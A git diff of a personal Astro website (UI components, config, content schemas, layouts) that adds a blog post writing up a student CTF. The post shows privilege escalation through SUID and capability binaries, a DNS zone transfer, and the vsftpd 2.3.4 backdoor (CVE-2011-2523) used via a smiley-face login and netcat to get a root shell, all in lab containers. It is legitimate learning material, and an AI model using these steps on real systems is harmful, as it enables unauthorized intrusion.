|
}: React.ComponentProps<typeof ScrollAreaPrimitive.Root>) {
|
||||||
|
return (
|
||||||
|
<ScrollAreaPrimitive.Root
|
||||||
|
data-slot="scroll-area"
|
||||||
|
className={cn('relative', className)}
|
||||||
|
{...props}
|
||||||
|
>
|
||||||
|
<ScrollAreaPrimitive.Viewport
|
||||||
|
data-slot="scroll-area-viewport"
|
||||||
|
className="ring-ring/10 dark:ring-ring/20 dark:outline-ring/40 outline-ring/50 size-full rounded-[inherit] transition-[color,box-shadow] focus-visible:ring-4 focus-visible:outline-1"
|
||||||
|
>
|
||||||
|
{children}
|
||||||
|
</ScrollAreaPrimitive.Viewport>
|
||||||
|
<ScrollBar />
|
||||||
|
<ScrollAreaPrimitive.Corner />
|
||||||
|
</ScrollAreaPrimitive.Root>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
function ScrollBar({
|
||||||
|
className,
|
||||||
|
orientation = 'vertical',
|
||||||
|
...props
|
||||||
|
}: React.ComponentProps<typeof ScrollAreaPrimitive.ScrollAreaScrollbar>) {
|
||||||
|
return (
|
||||||
|
<ScrollAreaPrimitive.ScrollAreaScrollbar
|
||||||
|
data-slot="scroll-area-scrollbar"
|
||||||
|
orientation={orientation}
|
||||||
|
className={cn(
|
||||||
|
'flex touch-none p-px transition-colors select-none',
|
||||||
|
orientation === 'vertical' &&
|
||||||
|
'h-full w-2.5 border-l border-l-transparent',
|
||||||
|
orientation === 'horizontal' &&
|
||||||
|
'h-2.5 flex-col border-t border-t-transparent',
|
||||||
|
className,
|
||||||
|
)}
|
||||||
|
{...props}
|
||||||
|
>
|
||||||
|
<ScrollAreaPrimitive.ScrollAreaThumb
|
||||||
|
data-slot="scroll-area-thumb"
|
||||||
|
className="bg-border relative flex-1 rounded-full"
|
||||||
|
/>
|
||||||
|
</ScrollAreaPrimitive.ScrollAreaScrollbar>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
export { ScrollArea, ScrollBar }
|
||||||
26
src/components/ui/separator.tsx
Normal file
@@ -0,0 +1,26 @@
|
|||||||
|
import * as React from 'react'
|
||||||
|
import { Separator as SeparatorPrimitive } from 'radix-ui'
|
||||||
|
|
||||||
|
import { cn } from '@/lib/utils'
|
||||||
|
|
||||||
|
function Separator({
|
||||||
|
className,
|
||||||
|
orientation = 'horizontal',
|
||||||
|
decorative = true,
|
||||||
|
...props
|
||||||
|
}: React.ComponentProps<typeof SeparatorPrimitive.Root>) {
|
||||||
|
return (
|
||||||
|
<SeparatorPrimitive.Root
|
||||||
|
data-slot="separator-root"
|
||||||
|
decorative={decorative}
|
||||||
|
orientation={orientation}
|
||||||
|
className={cn(
|
||||||
|
'bg-border shrink-0 data-[orientation=horizontal]:h-px data-[orientation=horizontal]:w-full data-[orientation=vertical]:h-full data-[orientation=vertical]:w-px',
|
||||||
|
className,
|
||||||
|
)}
|
||||||
|
{...props}
|
||||||
|
/>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
export { Separator }
|
||||||
13
src/components/ui/skeleton.tsx
Normal file
@@ -0,0 +1,13 @@
|
|||||||
|
import { cn } from "@/lib/utils"
|
||||||
|
|
||||||
|
function Skeleton({ className, ...props }: React.ComponentProps<"div">) {
|
||||||
|
return (
|
||||||
|
<div
|
||||||
|
data-slot="skeleton"
|
||||||
|
className={cn("bg-accent animate-pulse rounded-md", className)}
|
||||||
|
{...props}
|
||||||
|
/>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
export { Skeleton }
|
||||||
63
src/components/ui/toggle-group.tsx
Normal file
@@ -0,0 +1,63 @@
|
|||||||
|
// @ts-nocheck
|
||||||
|
|
||||||
|
"use client"
|
||||||
|
|
||||||
|
import * as React from "react"
|
||||||
|
import * as ToggleGroupPrimitive from "@radix-ui/react-toggle-group"
|
||||||
|
import { type VariantProps } from "class-variance-authority"
|
||||||
|
|
||||||
|
import { cn } from "@/lib/utils"
|
||||||
|
import { toggleVariants } from "@/components/ui/toggle"
|
||||||
|
|
||||||
|
const ToggleGroupContext = React.createContext<
|
||||||
|
VariantProps<typeof toggleVariants>
|
||||||
|
>({
|
||||||
|
size: "default",
|
||||||
|
variant: "default",
|
||||||
|
})
|
||||||
|
|
||||||
|
const ToggleGroup = React.forwardRef<
|
||||||
|
React.ElementRef<typeof ToggleGroupPrimitive.Root>,
|
||||||
|
React.ComponentPropsWithoutRef<typeof ToggleGroupPrimitive.Root> &
|
||||||
|
VariantProps<typeof toggleVariants>
|
||||||
|
>(({ className, variant, size, children, ...props }, ref) => (
|
||||||
|
<ToggleGroupPrimitive.Root
|
||||||
|
ref={ref}
|
||||||
|
className={cn("flex items-center justify-center gap-1", className)}
|
||||||
|
{...props}
|
||||||
|
>
|
||||||
|
<ToggleGroupContext.Provider value={{ variant, size }}>
|
||||||
|
{children}
|
||||||
|
</ToggleGroupContext.Provider>
|
||||||
|
</ToggleGroupPrimitive.Root>
|
||||||
|
))
|
||||||
|
|
||||||
|
ToggleGroup.displayName = ToggleGroupPrimitive.Root.displayName
|
||||||
|
|
||||||
|
const ToggleGroupItem = React.forwardRef<
|
||||||
|
React.ElementRef<typeof ToggleGroupPrimitive.Item>,
|
||||||
|
React.ComponentPropsWithoutRef<typeof ToggleGroupPrimitive.Item> &
|
||||||
|
VariantProps<typeof toggleVariants>
|
||||||
|
>(({ className, children, variant, size, ...props }, ref) => {
|
||||||
|
const context = React.useContext(ToggleGroupContext)
|
||||||
|
|
||||||
|
return (
|
||||||
|
<ToggleGroupPrimitive.Item
|
||||||
|
ref={ref}
|
||||||
|
className={cn(
|
||||||
|
toggleVariants({
|
||||||
|
variant: context.variant || variant,
|
||||||
|
size: context.size || size,
|
||||||
|
}),
|
||||||
|
className
|
||||||
|
)}
|
||||||
|
{...props}
|
||||||
|
>
|
||||||
|
{children}
|
||||||
|
</ToggleGroupPrimitive.Item>
|
||||||
|
)
|
||||||
|
})
|
||||||
|
|
||||||
|
ToggleGroupItem.displayName = ToggleGroupPrimitive.Item.displayName
|
||||||
|
|
||||||
|
export { ToggleGroup, ToggleGroupItem }
|
||||||
45
src/components/ui/toggle.tsx
Normal file
@@ -0,0 +1,45 @@
|
|||||||
|
import * as React from "react"
|
||||||
|
import * as TogglePrimitive from "@radix-ui/react-toggle"
|
||||||
|
import { cva, type VariantProps } from "class-variance-authority"
|
||||||
|
|
||||||
|
import { cn } from "@/lib/utils"
|
||||||
|
|
||||||
|
const toggleVariants = cva(
|
||||||
|
"inline-flex items-center justify-center gap-2 rounded-md text-sm font-medium hover:bg-muted hover:text-muted-foreground disabled:pointer-events-none disabled:opacity-50 data-[state=on]:bg-accent data-[state=on]:text-accent-foreground [&_svg]:pointer-events-none [&_svg:not([class*='size-'])]:size-4 [&_svg]:shrink-0 focus-visible:border-ring focus-visible:ring-ring/50 focus-visible:ring-[3px] outline-none transition-[color,box-shadow] aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive whitespace-nowrap",
|
||||||
|
{
|
||||||
|
variants: {
|
||||||
|
variant: {
|
||||||
|
default: "bg-transparent",
|
||||||
|
outline:
|
||||||
|
"border border-input bg-transparent shadow-xs hover:bg-accent hover:text-accent-foreground",
|
||||||
|
},
|
||||||
|
size: {
|
||||||
|
default: "h-9 px-2 min-w-9",
|
||||||
|
sm: "h-8 px-1.5 min-w-8",
|
||||||
|
lg: "h-10 px-2.5 min-w-10",
|
||||||
|
},
|
||||||
|
},
|
||||||
|
defaultVariants: {
|
||||||
|
variant: "default",
|
||||||
|
size: "default",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
function Toggle({
|
||||||
|
className,
|
||||||
|
variant,
|
||||||
|
size,
|
||||||
|
...props
|
||||||
|
}: React.ComponentProps<typeof TogglePrimitive.Root> &
|
||||||
|
VariantProps<typeof toggleVariants>) {
|
||||||
|
return (
|
||||||
|
<TogglePrimitive.Root
|
||||||
|
data-slot="toggle"
|
||||||
|
className={cn(toggleVariants({ variant, size, className }))}
|
||||||
|
{...props}
|
||||||
|
/>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
export { Toggle, toggleVariants }
|
||||||
@@ -1,5 +1,47 @@
|
|||||||
// Place any global data in this file.
|
import type { IconMap, SocialLink, Site } from '@/types'
|
||||||
// You can import this data from anywhere in your site by using the `import` keyword.
|
|
||||||
|
|
||||||
export const SITE_TITLE = 'Sr Izan\'s website';
|
export const SITE: Site = {
|
||||||
export const SITE_DESCRIPTION = 'Welcome to my website!';
|
title: "eth0's corner",
|
||||||
|
description:
|
||||||
|
"Ethan's personal website, where I share my thoughts on programming, language learning and life.",
|
||||||
|
href: 'https://srizan.dev',
|
||||||
|
author: 'SrIzan10',
|
||||||
|
locale: 'en-US',
|
||||||
|
featuredPostCount: 2,
|
||||||
|
postsPerPage: 3,
|
||||||
|
}
|
||||||
|
|
||||||
|
export const NAV_LINKS: SocialLink[] = [
|
||||||
|
{
|
||||||
|
href: '/blog',
|
||||||
|
label: 'blog',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
href: '/about',
|
||||||
|
label: 'about',
|
||||||
|
},
|
||||||
|
]
|
||||||
|
|
||||||
|
export const SOCIAL_LINKS: SocialLink[] = [
|
||||||
|
{
|
||||||
|
href: 'https://github.com/SrIzan10',
|
||||||
|
label: 'GitHub',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
href: 'mailto:izan@srizan.dev',
|
||||||
|
label: 'Email',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
href: '/rss.xml',
|
||||||
|
label: 'RSS',
|
||||||
|
},
|
||||||
|
]
|
||||||
|
|
||||||
|
export const ICON_MAP: IconMap = {
|
||||||
|
Website: 'lucide:globe',
|
||||||
|
GitHub: 'lucide:github',
|
||||||
|
LinkedIn: 'lucide:linkedin',
|
||||||
|
Twitter: 'lucide:twitter',
|
||||||
|
Email: 'lucide:mail',
|
||||||
|
RSS: 'lucide:rss',
|
||||||
|
}
|
||||||
|
|||||||
49
src/content.config.ts
Normal file
@@ -0,0 +1,49 @@
|
|||||||
|
import { glob } from 'astro/loaders'
|
||||||
|
import { defineCollection, z } from 'astro:content'
|
||||||
|
|
||||||
|
const blog = defineCollection({
|
||||||
|
loader: glob({ pattern: '**/*.{md,mdx}', base: './src/content/blog' }),
|
||||||
|
schema: ({ image }) =>
|
||||||
|
z.object({
|
||||||
|
title: z.string(),
|
||||||
|
description: z.string(),
|
||||||
|
date: z.coerce.date(),
|
||||||
|
image: image().optional(),
|
||||||
|
tags: z.array(z.string()).optional(),
|
||||||
|
authors: z.array(z.string()).optional(),
|
||||||
|
draft: z.boolean().optional(),
|
||||||
|
discogs: z.string().optional(),
|
||||||
|
}),
|
||||||
|
})
|
||||||
|
|
||||||
|
const authors = defineCollection({
|
||||||
|
loader: glob({ pattern: '**/*.{md,mdx}', base: './src/content/authors' }),
|
||||||
|
schema: z.object({
|
||||||
|
name: z.string(),
|
||||||
|
pronouns: z.string().optional(),
|
||||||
|
avatar: z.string().url().or(z.string().startsWith('/')),
|
||||||
|
bio: z.string().optional(),
|
||||||
|
mail: z.string().email().optional(),
|
||||||
|
website: z.string().url().optional(),
|
||||||
|
twitter: z.string().url().optional(),
|
||||||
|
github: z.string().url().optional(),
|
||||||
|
linkedin: z.string().url().optional(),
|
||||||
|
discord: z.string().url().optional(),
|
||||||
|
}),
|
||||||
|
})
|
||||||
|
|
||||||
|
const projects = defineCollection({
|
||||||
|
loader: glob({ pattern: '**/*.{md,mdx}', base: './src/content/projects' }),
|
||||||
|
schema: ({ image }) =>
|
||||||
|
z.object({
|
||||||
|
name: z.string(),
|
||||||
|
description: z.string(),
|
||||||
|
tags: z.array(z.string()),
|
||||||
|
image: image(),
|
||||||
|
link: z.string().url(),
|
||||||
|
startDate: z.coerce.date().optional(),
|
||||||
|
endDate: z.coerce.date().optional(),
|
||||||
|
}),
|
||||||
|
})
|
||||||
|
|
||||||
|
export const collections = { blog, authors, projects }
|
||||||
9
src/content/authors/srizan.md
Normal file
@@ -0,0 +1,9 @@
|
|||||||
|
---
|
||||||
|
name: 'Izan'
|
||||||
|
pronouns: 'he/him'
|
||||||
|
avatar: 'https://gravatar.com/avatar/0898f5321fb888e9a9c63da50b1974f12f912cda2f83c06ceec0f6fdc9d783b3?size=256'
|
||||||
|
bio: 'Spanish developer, tech enthusiast and language learner.'
|
||||||
|
website: 'https://srizan.dev'
|
||||||
|
github: 'https://github.com/SrIzan10'
|
||||||
|
mail: 'izan@srizan.dev'
|
||||||
|
---
|
||||||
265
src/content/blog/hw-2026-ctf/index.mdx
vendored
Normal file
@@ -0,0 +1,265 @@
|
|||||||
|
---
|
||||||
|
title: 'hackers week 2026 ctf (basic) writeup - 3rd place'
|
||||||
|
description: 'UMA hackers week CTF writeup! (basic level)'
|
||||||
|
date: 2026-03-13
|
||||||
|
authors: ['srizan']
|
||||||
|
tags: ['ctf', 'cybersec']
|
||||||
|
---
|
||||||
|
|
||||||
|
## disclaimer
|
||||||
|
|
||||||
|
cybersec is not my main "field of work", it's rather software/webdev etc etc so this was a bit unexpected.
|
||||||
|
|
||||||
|
i have sometimes dabbled into pentesting but i'm not the best at it at all.
|
||||||
|
|
||||||
|
keep in mind that this is not a serious writeup, so my english may be a small bit sloppy at times.
|
||||||
|
|
||||||
|
## misc - linux executable
|
||||||
|
|
||||||
|
solve numero uno.
|
||||||
|
|
||||||
|
```
|
||||||
|
Realizando un análisis forense de Helix Corp., Hemos recuperado un ejecutable Linux llamado "candado_meta" que protege una flag mediante contraseña. No disponemos de la contraseña, pero sospechamos que el desarrollador dejó demasiada información dentro del propio ejecutable
|
||||||
|
```
|
||||||
|
|
||||||
|
i first ran the executable to see what happens:
|
||||||
|
|
||||||
|
```=== Helix Locker v1.0 ===
|
||||||
|
Introduce la contrasena correcta para desbloquear la flag.
|
||||||
|
>
|
||||||
|
```
|
||||||
|
|
||||||
|
badly compiled linux executables can usually be exploited with `strings` (i think i learned this from john hammond), thus i:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ strings candado_meta
|
||||||
|
[...]
|
||||||
|
author=Hackers Week
|
||||||
|
challenge=REV-META1
|
||||||
|
difficulty=principiante
|
||||||
|
password=LlaveMeta_2026
|
||||||
|
hint=Los metadatos del ejecutable dicen mas de lo que parece
|
||||||
|
[...]
|
||||||
|
```
|
||||||
|
|
||||||
|
aand that was the password lmao
|
||||||
|
|
||||||
|
typing it in:
|
||||||
|
|
||||||
|
```=== Helix Locker v1.0 ===
|
||||||
|
Introduce la contrasena correcta para desbloquear la flag.
|
||||||
|
> LlaveMeta_2026
|
||||||
|
\n[+] Acceso concedido. Tu flag es: flag_metadatos_no_son_solo_comentarios\n
|
||||||
|
```
|
||||||
|
|
||||||
|
## linux - permissions 1
|
||||||
|
|
||||||
|
```
|
||||||
|
Durante el análisis forense de los sistemas de Helix Corp, el equipo de respuesta ha obtenido acceso a una cuenta de usuario sin privilegios en uno de los servidores internos.
|
||||||
|
[...]
|
||||||
|
El equipo de sistemas dejó instalada una herramienta de diagnóstico personalizada que, según la documentación interna, “requiere permisos elevados para acceder a logs del sistema”. Analiza cómo está configurada. El objetivo es escalar privilegios para leer el fichero de flag protegido por root. La solución de este reto es el fichero de flag protegido por root. La flag deseada empieza por “flag_”
|
||||||
|
```
|
||||||
|
|
||||||
|
yeah so i basically sshed and greeted with a shell, i ran the clue:
|
||||||
|
|
||||||
|
```
|
||||||
|
╔══════════════════════════════════════════════════════════════╗
|
||||||
|
║ HELIX CORP — SISTEMA DE ANÁLISIS FORENSE ║
|
||||||
|
║ RETO PRIV-02 ║
|
||||||
|
╚══════════════════════════════════════════════════════════════╝
|
||||||
|
|
||||||
|
Bienvenido, analyst.
|
||||||
|
Tu misión: leer /root/flag.txt
|
||||||
|
|
||||||
|
El equipo de sistemas instaló herramientas de diagnóstico.
|
||||||
|
Alguna fue configurada de forma incorrecta...
|
||||||
|
|
||||||
|
Pista: find / -perm -4000 2>/dev/null
|
||||||
|
|
||||||
|
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
||||||
|
analyst@helix-server:~$ find / -perm -4000 2>/dev/null
|
||||||
|
/usr/bin/umount
|
||||||
|
/usr/bin/chsh
|
||||||
|
/usr/bin/passwd
|
||||||
|
/usr/bin/mount
|
||||||
|
/usr/bin/newgrp
|
||||||
|
/usr/bin/chfn
|
||||||
|
/usr/bin/gpasswd
|
||||||
|
/usr/bin/su
|
||||||
|
/usr/local/bin/helix-reader
|
||||||
|
analyst@helix-server:~$
|
||||||
|
```
|
||||||
|
|
||||||
|
i tried escalating with executables such as su, chsh or `mount`ing the filesystem somewhere, i just tried running `helix-reader`:
|
||||||
|
|
||||||
|
```
|
||||||
|
analyst@helix-server:~$ /usr/local/bin/helix-reader
|
||||||
|
Uso: helix-reader <fichero>
|
||||||
|
Herramienta de diagnostico - Helix Corp
|
||||||
|
```
|
||||||
|
|
||||||
|
this can just- read files? no way...
|
||||||
|
|
||||||
|
```
|
||||||
|
analyst@helix-server:~$ /usr/local/bin/helix-reader /root/flag.txt
|
||||||
|
flag_su1d_b1t_1s_d4ng3r0us
|
||||||
|
```
|
||||||
|
|
||||||
|
okay
|
||||||
|
|
||||||
|
## linux - permisos (2)
|
||||||
|
|
||||||
|
```
|
||||||
|
╔══════════════════════════════════════════════════════════════╗
|
||||||
|
║ HELIX CORP — SISTEMA DE ANÁLISIS FORENSE ║
|
||||||
|
║ RETO PRIV-04 ║
|
||||||
|
╚══════════════════════════════════════════════════════════════╝
|
||||||
|
|
||||||
|
Bienvenido, analyst.
|
||||||
|
Tu misión: leer /root/flag.txt
|
||||||
|
|
||||||
|
El admin usó capabilities en lugar de SUID. ¿Es más seguro?
|
||||||
|
Pista: find -perm -4000 no te ayudará esta vez...
|
||||||
|
|
||||||
|
Intenta: getcap -r / 2>/dev/null
|
||||||
|
|
||||||
|
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
||||||
|
analyst@helix-server:~$ getcap -r / 2>/dev/null
|
||||||
|
/usr/local/bin/helix-escalate cap_setuid=ep
|
||||||
|
/usr/local/bin/helix-capread cap_dac_read_search=ep
|
||||||
|
```
|
||||||
|
|
||||||
|
this one uses linux capabilities, but it's basically the same drill:
|
||||||
|
|
||||||
|
```
|
||||||
|
analyst@helix-server:~$ /usr/local/bin/helix-escalate
|
||||||
|
[*] helix-escalate — herramienta de mantenimiento
|
||||||
|
[*] UID actual: 1000
|
||||||
|
[*] UID tras escalada: 0
|
||||||
|
[*] Lanzando shell de mantenimiento...
|
||||||
|
|
||||||
|
root@helix-server:~# cat /root/flag.txt
|
||||||
|
flag_c4p4b1l1t13s_4r3_subt13
|
||||||
|
root@helix-server:~#
|
||||||
|
```
|
||||||
|
|
||||||
|
this executable escalated me to root and let me `cat` the flag up through there.
|
||||||
|
|
||||||
|
## dns y transferencia de zona
|
||||||
|
|
||||||
|
```
|
||||||
|
Para este reto hay que saber manejar las consultas a dominios con DNS. El reto contiene única flag final almacenada en un registro TXT que está oculto por oscuridad. Encontrarlo es muy sencillo si se conoce y explota el concepto de transferencia de zona. [...]
|
||||||
|
La solución a este reto se adquiere realizando la operación DNS necesaria.
|
||||||
|
```
|
||||||
|
|
||||||
|
okay this one i had to get a docker container up and running, and some firewall issues made me change the dns ports but ANYWAY
|
||||||
|
|
||||||
|
this was basically a [dns zone transfer](https://en.wikipedia.org/wiki/DNS_zone_transfer). in the real world, it lets you replicate dns records.
|
||||||
|
|
||||||
|
i knew it had something to do with `dig`, and there turns out to be an `AXFR` query, which i found after trying to query `TXT` with no avail:
|
||||||
|
|
||||||
|
```
|
||||||
|
…/Downloads/ctf ✗ dig axfr @172.17.0.2 midominio.com
|
||||||
|
|
||||||
|
; <<>> DiG 9.20.20 <<>> axfr @172.17.0.2 midominio.com
|
||||||
|
; (1 server found)
|
||||||
|
;; global options: +cmd
|
||||||
|
[...]
|
||||||
|
midominio.com. 10800 IN A 192.168.1.100
|
||||||
|
4Eb7w8\@yYnaNLua.midominio.com. 10800 IN TXT "flag{dns_axfr_easy}"
|
||||||
|
api.midominio.com. 10800 IN A 192.168.1.109
|
||||||
|
[...]
|
||||||
|
;; Query time: 0 msec
|
||||||
|
;; SERVER: 172.17.0.2#53(172.17.0.2) (TCP)
|
||||||
|
;; WHEN: Fri Mar 13 16:46:34 CET 2026
|
||||||
|
;; XFR size: 23 records (messages 1, bytes 635)
|
||||||
|
```
|
||||||
|
|
||||||
|
there it was.
|
||||||
|
|
||||||
|
## ftp server hacking
|
||||||
|
|
||||||
|
this one was fun!
|
||||||
|
|
||||||
|
after deploying the docker container, i ran `nmap` to look at what we're dealing with. note that this was what took me the most time, since i'm not familiar with pentesting tools:
|
||||||
|
|
||||||
|
```
|
||||||
|
…/Downloads/ctf ❯ nmap -sC -sV 172.17.0.3 21
|
||||||
|
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-13 16:50 +0100
|
||||||
|
Nmap scan report for 172.17.0.3
|
||||||
|
Host is up (0.00036s latency).
|
||||||
|
Not shown: 999 closed tcp ports (conn-refused)
|
||||||
|
PORT STATE SERVICE VERSION
|
||||||
|
21/tcp open ftp vsftpd 2.3.4
|
||||||
|
Service Info: OS: Unix
|
||||||
|
|
||||||
|
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
||||||
|
Nmap done: 2 IP addresses (1 host up) scanned in 8.02 seconds
|
||||||
|
```
|
||||||
|
|
||||||
|
after a quick search, this version is vulnerable to [CVE-2011-2523](https://nvd.nist.gov/vuln/detail/CVE-2011-2523), a 9.8 critical vulnerability which opened a backdoor. it works like this:
|
||||||
|
|
||||||
|
1. open a terminal, ftp into it and type in `<anything>:)` as the username (yes, a smiley face!)
|
||||||
|
|
||||||
|
```
|
||||||
|
…/Downloads/ctf ❯ ftp 172.17.0.3
|
||||||
|
Connected to 172.17.0.3.
|
||||||
|
220 (vsFTPd 2.3.4)
|
||||||
|
Name (172.17.0.3:srizan): asdf:)
|
||||||
|
331 Please specify the password.
|
||||||
|
Password:
|
||||||
|
|
||||||
|
bkjasfbjaefklnekl
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
1. it gets stuck! now open another terminal and nc into 6200/tcp.
|
||||||
|
|
||||||
|
```
|
||||||
|
…/Downloads/ctf ❯ nc 172.17.0.3 6200
|
||||||
|
uname -a
|
||||||
|
Linux 2b93f9674b30 6.18.13-arch1-1 #1 SMP PREEMPT_DYNAMIC Wed, 25 Feb 2026 23:12:35 +0000 x86_64 x86_64 x86_64 GNU/Linux
|
||||||
|
pwd
|
||||||
|
/root/vsftpd-2.3.4
|
||||||
|
cat /root/flag.txt
|
||||||
|
flag{backdoor_vsftp}
|
||||||
|
```
|
||||||
|
|
||||||
|
my friend rafa found a metasploit script that automates the process, which is a cool alternative :)
|
||||||
|
|
||||||
|
## guardo contraseñas en ficheros
|
||||||
|
|
||||||
|
i did this one 10 minutes before the lb closed, which was a bit tense. it led me to #3!
|
||||||
|
|
||||||
|
downloaded the zip and opened the only file:
|
||||||
|
|
||||||
|
```
|
||||||
|
<node TEXT="B) Desplegar la plataforma CTFd" FOLDED="true" POSITION="bottom_or_right" ID="ID_106505589" CREATED="1773069180871" MODIFIED="1773069195865">
|
||||||
|
<edge COLOR="#00ff00"/>
|
||||||
|
<font SIZE="12"/>
|
||||||
|
<node TEXT="Formato: ROT11" ID="ID_1250935731" CREATED="1773069228152" MODIFIED="1773069292783" LINK="https://en.wikipedia.org/wiki/Caesar_cipher"/>
|
||||||
|
<node TEXT="User: rroman@uma.es" ID="ID_504947160" CREATED="1773069294360" MODIFIED="1773069305837"/>
|
||||||
|
<node TEXT="Password: qwlr_yzecgnphtesespqgctpd" ID="ID_858155904" CREATED="1773069306505" MODIFIED="1773069704629"/>
|
||||||
|
</node>
|
||||||
|
```
|
||||||
|
|
||||||
|
dang interesting. that is not the flag, but it looks shifted.
|
||||||
|
|
||||||
|
pasting the string into dcode.fr's [cipher identifier](https://www.dcode.fr/cipher-identifier), there were a few, so i mainly tried `delastelle trifid` and `caesar`, to no avail.
|
||||||
|
|
||||||
|
thankfully, after trying [`shift`](https://www.dcode.fr/shift-cipher) and letting it do some brute force, i ended up finding this!
|
||||||
|
|
||||||
|
```
|
||||||
|
[(+11)/c]: flag_notrvcewiththefvries
|
||||||
|
```
|
||||||
|
|
||||||
|
# final acknowledgements
|
||||||
|
|
||||||
|
thanks to these awesome people for making my experience truly unforgettable!
|
||||||
|
|
||||||
|
- rafa, hugo, dario and all other people i got to meet: y'all were awesome! sorry if this list is not very exhaustive, i'm awful at names. praying we can reunite on nasa spaceapps or something
|
||||||
|
- hackers week organizers: thanks for making it so fun! order more large sized t-shirts next time :'D
|
||||||
|
- eligius hendrix: in case he reads this, you're such a cool professor! in retrospect i feel kind of bad for not letting you know i sneaked in class. hope i can take your classes one day!
|
||||||
|
- my spanish teacher: thanks for delaying my exam so i could attend
|
||||||
|
|
||||||
|
ps: i won't be switching to opensuse for the forseeable future
|
||||||
8
src/content/projects/hctv.md
Normal file
@@ -0,0 +1,8 @@
|
|||||||
|
---
|
||||||
|
name: 'hackclub.tv'
|
||||||
|
description: 'A streaming service for Hack Club.'
|
||||||
|
tags: ['Next.js', 'React', 'shadcn/ui', 'nginx']
|
||||||
|
image: '../../../public/static/hctv-banner.png'
|
||||||
|
link: 'https://hctv.srizan.dev'
|
||||||
|
startDate: '2025-01-12'
|
||||||
|
---
|
||||||
8
src/content/projects/lofi.md
Normal file
@@ -0,0 +1,8 @@
|
|||||||
|
---
|
||||||
|
name: 'lofi.srizan.dev'
|
||||||
|
description: 'Glassmorphic lofi player with various stations and utilities.'
|
||||||
|
tags: ['Svelte', 'shadcn/svelte', 'Cloudflare Workers', 'Cloudflare R2']
|
||||||
|
image: '../../../public/static/lofi-banner.png'
|
||||||
|
link: 'https://lofi.srizan.dev'
|
||||||
|
startDate: '2024-03-01'
|
||||||
|
---
|
||||||
8
src/content/projects/sern.md
Normal file
@@ -0,0 +1,8 @@
|
|||||||
|
---
|
||||||
|
name: 'sern Project'
|
||||||
|
description: 'Discord bot framework.'
|
||||||
|
tags: ['TypeScript', 'rxjs', 'Discord.js', 'Starlight']
|
||||||
|
image: '../../../public/static/sern-banner.png'
|
||||||
|
link: 'https://sern.dev'
|
||||||
|
startDate: '2022-04-01'
|
||||||
|
---
|
||||||
4
src/env.d.ts
vendored
@@ -1,6 +1,2 @@
|
|||||||
/// <reference path="../.astro/types.d.ts" />
|
/// <reference path="../.astro/types.d.ts" />
|
||||||
/// <reference types="astro/client" />
|
/// <reference types="astro/client" />
|
||||||
interface ImportMetaEnv {
|
|
||||||
readonly BLOG_CONTENT_KEY: string;
|
|
||||||
readonly BLOG_CONTENT_URL: string;
|
|
||||||
}
|
|
||||||
33
src/layouts/Layout.astro
Normal file
@@ -0,0 +1,33 @@
|
|||||||
|
---
|
||||||
|
import '@/styles/global.css'
|
||||||
|
import '@/styles/typography.css'
|
||||||
|
|
||||||
|
import Footer from '@/components/Footer.astro'
|
||||||
|
import Head from '@/components/Head.astro'
|
||||||
|
import Header from '@/components/Header.astro'
|
||||||
|
import { SITE } from '@/consts'
|
||||||
|
---
|
||||||
|
|
||||||
|
<!doctype html>
|
||||||
|
<html class="bg-background text-foreground" lang={SITE.locale}>
|
||||||
|
<Head>
|
||||||
|
<slot name="head" />
|
||||||
|
</Head>
|
||||||
|
<body class="overflow-x-hidden">
|
||||||
|
<div class="flex h-fit min-h-screen flex-col gap-y-6 font-sans">
|
||||||
|
<div
|
||||||
|
class="bg-background/50 sticky top-0 z-50 divide-y backdrop-blur-sm xl:divide-none"
|
||||||
|
>
|
||||||
|
<Header />
|
||||||
|
<slot name="subposts-navigation" />
|
||||||
|
<slot name="table-of-contents" />
|
||||||
|
</div>
|
||||||
|
<main class="grow">
|
||||||
|
<div class="mx-auto flex max-w-6xl grow flex-col gap-y-6 px-4">
|
||||||
|
<slot />
|
||||||
|
</div>
|
||||||
|
</main>
|
||||||
|
<Footer />
|
||||||
|
</div>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
231
src/lib/data-utils.ts
Normal file
@@ -0,0 +1,231 @@
|
|||||||
|
import { getCollection, type CollectionEntry } from 'astro:content'
|
||||||
|
import { readingTime, calculateWordCountFromHtml } from '@/lib/utils'
|
||||||
|
|
||||||
|
export async function getAllAuthors(): Promise<CollectionEntry<'authors'>[]> {
|
||||||
|
return await getCollection('authors')
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function getAllPosts(): Promise<CollectionEntry<'blog'>[]> {
|
||||||
|
const posts = await getCollection('blog')
|
||||||
|
return posts
|
||||||
|
.filter((post) => !post.data.draft && !isSubpost(post.id))
|
||||||
|
.sort((a, b) => b.data.date.valueOf() - a.data.date.valueOf())
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function getAllPostsAndSubposts(): Promise<
|
||||||
|
CollectionEntry<'blog'>[]
|
||||||
|
> {
|
||||||
|
const posts = await getCollection('blog')
|
||||||
|
return posts
|
||||||
|
.filter((post) => !post.data.draft)
|
||||||
|
.sort((a, b) => b.data.date.valueOf() - a.data.date.valueOf())
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function getAllProjects(): Promise<CollectionEntry<'projects'>[]> {
|
||||||
|
const projects = await getCollection('projects')
|
||||||
|
return projects.sort((a, b) => {
|
||||||
|
const dateA = a.data.startDate?.getTime() || 0
|
||||||
|
const dateB = b.data.startDate?.getTime() || 0
|
||||||
|
return dateB - dateA
|
||||||
|
})
|
